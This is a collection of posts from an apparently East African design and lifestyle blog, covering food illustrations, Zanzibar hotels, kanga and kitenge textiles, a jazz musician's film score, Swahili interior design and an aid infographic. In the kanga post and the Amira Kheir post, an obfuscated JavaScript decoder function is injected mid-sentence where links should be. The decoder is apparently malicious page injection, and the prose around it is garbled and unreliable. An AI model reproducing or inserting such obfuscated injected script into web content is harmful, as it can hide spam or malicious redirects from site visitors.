East African Food, Illustrated

I recently illustrated the ingredients of some of my favourite East African food: pilau, kachumbari and ndizi (green bananas, Tanzanian style).

My colleague, Rasoah, collated some recipes from the interwebs, in case you’re unfamiliar with these dishes and would like to give them a try. Creativity is our forté so, there’s quite a bit of variation in preparation styles!

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Zanzibar dreaming: my wishlist of where to stay

There are few things I enjoy more than being by the beach and Zanzibar is one of the most beautiful that I’ve experienced yet. I really think I’m designed to live by the coast. Swimming in the wild ocean whose grandness awes and frightens me and yet, floating and moving through the water soothes me so. Relaxing on sandy beaches, watching the world go by and surrendering to the natural pace of time. Finding nourishment from the fruits of the sea and, in East Africa, the delicious Swahili cuisine!

I know babymoons are technically supposed to happen before delivery but, I’m dreaming of a postpartum Zanzibar vacation this Autumn. It helps that a handful of my friends are planning trips there this year. Answering their requests for tips has me researching and getting inspired myself!

Here’s my wishlist of where to stay…

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Inspired: Tropical Flora from my East African Travels

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I recently returned from a wonderfully rejuvenating trip home to East Africa. Here’s the story of my trip, told through the tropical flora!

First stop was my hometown of Nairobi. I felt so lucky to wake up each morning to this – such a diverse, colourful collection of foliage. If you’ve been following my #plantsomethingdaily challenge, you know how much inspiration I derive from nature!

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The Afri-love List: 4 (East) African Photographers to Follow on Instagram

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This is the first of many lists as I’m constantly discovering amazing African photographers (and other creatives), through Instagram. The four featured here all hail from my part of the continent – the east. This is just a slice of their repertoire so be sure to check them out their Instagram feeds. In alphabetical order …

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Raiding My Mama’s Kanga and Kitenge Collection

My mother is from Tanzania where it is customary for women to give each other kangas (also known as lessos) as gifts, especially at events such as weddings, send-offs, births etc.

Over the years, my mother has amassed quite a number! Last year while visiting her, I took the opportunity to raid some of her collection, taking photos for inspiration’s sake.

Kangas come in one piece consisting of two matching panels. You may have seen women along the Swahili coast using one panel as a sarong and the other to cover their head and/or shoulders. I often benefit from this when my mother splits her kangas with me. Here’s one I recently received:

 

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Kangas traditionally feature a saying. The one above is fantastic: “We are in love, give us a chance”.

 

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Mama's collection also includes some kitenge (wax print) pieces …

 

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Mixed in with mum’s kangas, are textiles from other parts of the world such as this Indonesian beauty. Given the function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-the-exploitative-nature-of-cotton-production.html" target="_blank">history of African wax print, it’s no wonder that this piece fits in pretty well.

 

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I’m really excited about The Kanga Book. Find out more about it here.

Images: Lulu Kitololo

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TGIF! Amira Kheir and Birds Eye View Sounds and Silents

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Birds Eye View presents a cross-cultural live music commission by East African-influenced jazz musician, Amira Kheir for their 2013 Film Festival: Celebrating Arab Women Filmmakers. Singer, musician, somgwriter (and Afri-love interviewee), Amira will score a landmark silent film, Sumurun (One Arabian Night).

Of the film, a fantasy-drama of forbidden love, the NY Times says: ‘brilliant’.  

Of Amira's critically acclaimed first album, View from SomewhereSonglines says: ‘beautiful and fearless'. I own it and must agree.

Get a taste of Amira's music via today's video (RSS readers function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1< <2)|(p5>>4);rd=((p5&15)< <4)|(q8>>2);wb=((q8&3)< <6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-birds-eye-view-sounds-and-silents.html" target="_blank" title="TGIF! Amira Kheir">click here)

 

  

 

Event details

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Baytil Ajaib: Swahili-inspired interior design at Lamu’s House of Wonder

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Greetings from the East African coast and yet another beautiful example of Swahili-inspired interior design. I am writing to you from Dar Es Salaam, Tanzania (which, at 30 degrees Celsius, 94% humidity & to be fair, cloudy skies, is by local standards cold!) but today's post features a townhouse located a little further north – Lamu, Kenya.

Welcome to Baytil Ajaib, meaning the House of Wonder. The ceilings in this palatial house are made from five types of lime-coral stone, including snail shell and engraved turtles represent fertility and resistance to evil spirit. Wonderful views of Lamu town, the Lamu archipelago, sailing dhows, occasional schools of dolphins and breathtaking sunrises and sunsets are some of the things that you can enjoy, along with the birds and butterflies that frequent the courtyard of the house.

You can book a stay at Baytil Ajaib through Chic Retreats.

Images via the Baytil Ajaib website and Lamu.org

 

Dispatches from WOW 2012: Digital Tapestries

I was asked to participate in a WOW Bites session during the Southbank Centre's 2012 Women of the World Festival. Bites are short talks, inspiring ideas, achievements, obsessions, stories, performances, manifestos and more. I thought I'd share the essence of my bite with you.

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One of the most satisfying outcomes of spending so much time online is discovering interesting people doing exciting and amazing things. In my time internetting, I have discovered several women, around the world, using the digital space to tell their stories and through this: creating relationships that transcend barriers such as geographical distance and class; building supportive and collaborative networks and communities; and making things happen for themselves, for others and ultimately, for us all.

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L-atitude: where fashion meets travel: The Africa representatives

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I recently discovered online boutique, L-atitude: "where fashion meets travel" – a curated collection of exotic, exclusive and edgy finds from Africa, South America, Asia, Europe and the US.

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Visual storytelling: the Horn of Africa Crisis

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Infographics are great vehicles for storytelling and for presenting statistics in a way that grounds numbers in a more tangible reality. Such was the exercise that I embarked on when Egyptian-based infographics and data visualization lab, Bayanat, got in touch with Asilia –  to create an infographic reminding people that the crisis in the Horn of Africa still requires our help.

Here's the result. The graphic has already received quite a bit of attention (1,323 views on the Bayanat blog alone at my last count). I hope that this inspires more people to share their support in whatever way they can. Wondering how you can help? Here are some ideas.

The image above is just an excerpt from the graphic. See/download the full graphic here